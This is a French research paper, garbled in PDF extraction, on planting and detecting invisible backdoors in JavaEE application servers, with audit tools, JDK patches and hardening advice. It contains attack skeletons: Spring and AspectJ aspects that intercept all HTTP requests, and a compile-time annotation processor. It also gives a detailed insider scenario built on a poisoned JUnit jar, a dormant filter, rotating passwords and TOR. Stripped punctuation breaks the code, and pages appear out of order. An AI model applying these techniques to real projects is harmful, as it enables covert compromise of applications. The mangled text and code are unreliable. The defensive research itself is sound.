utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

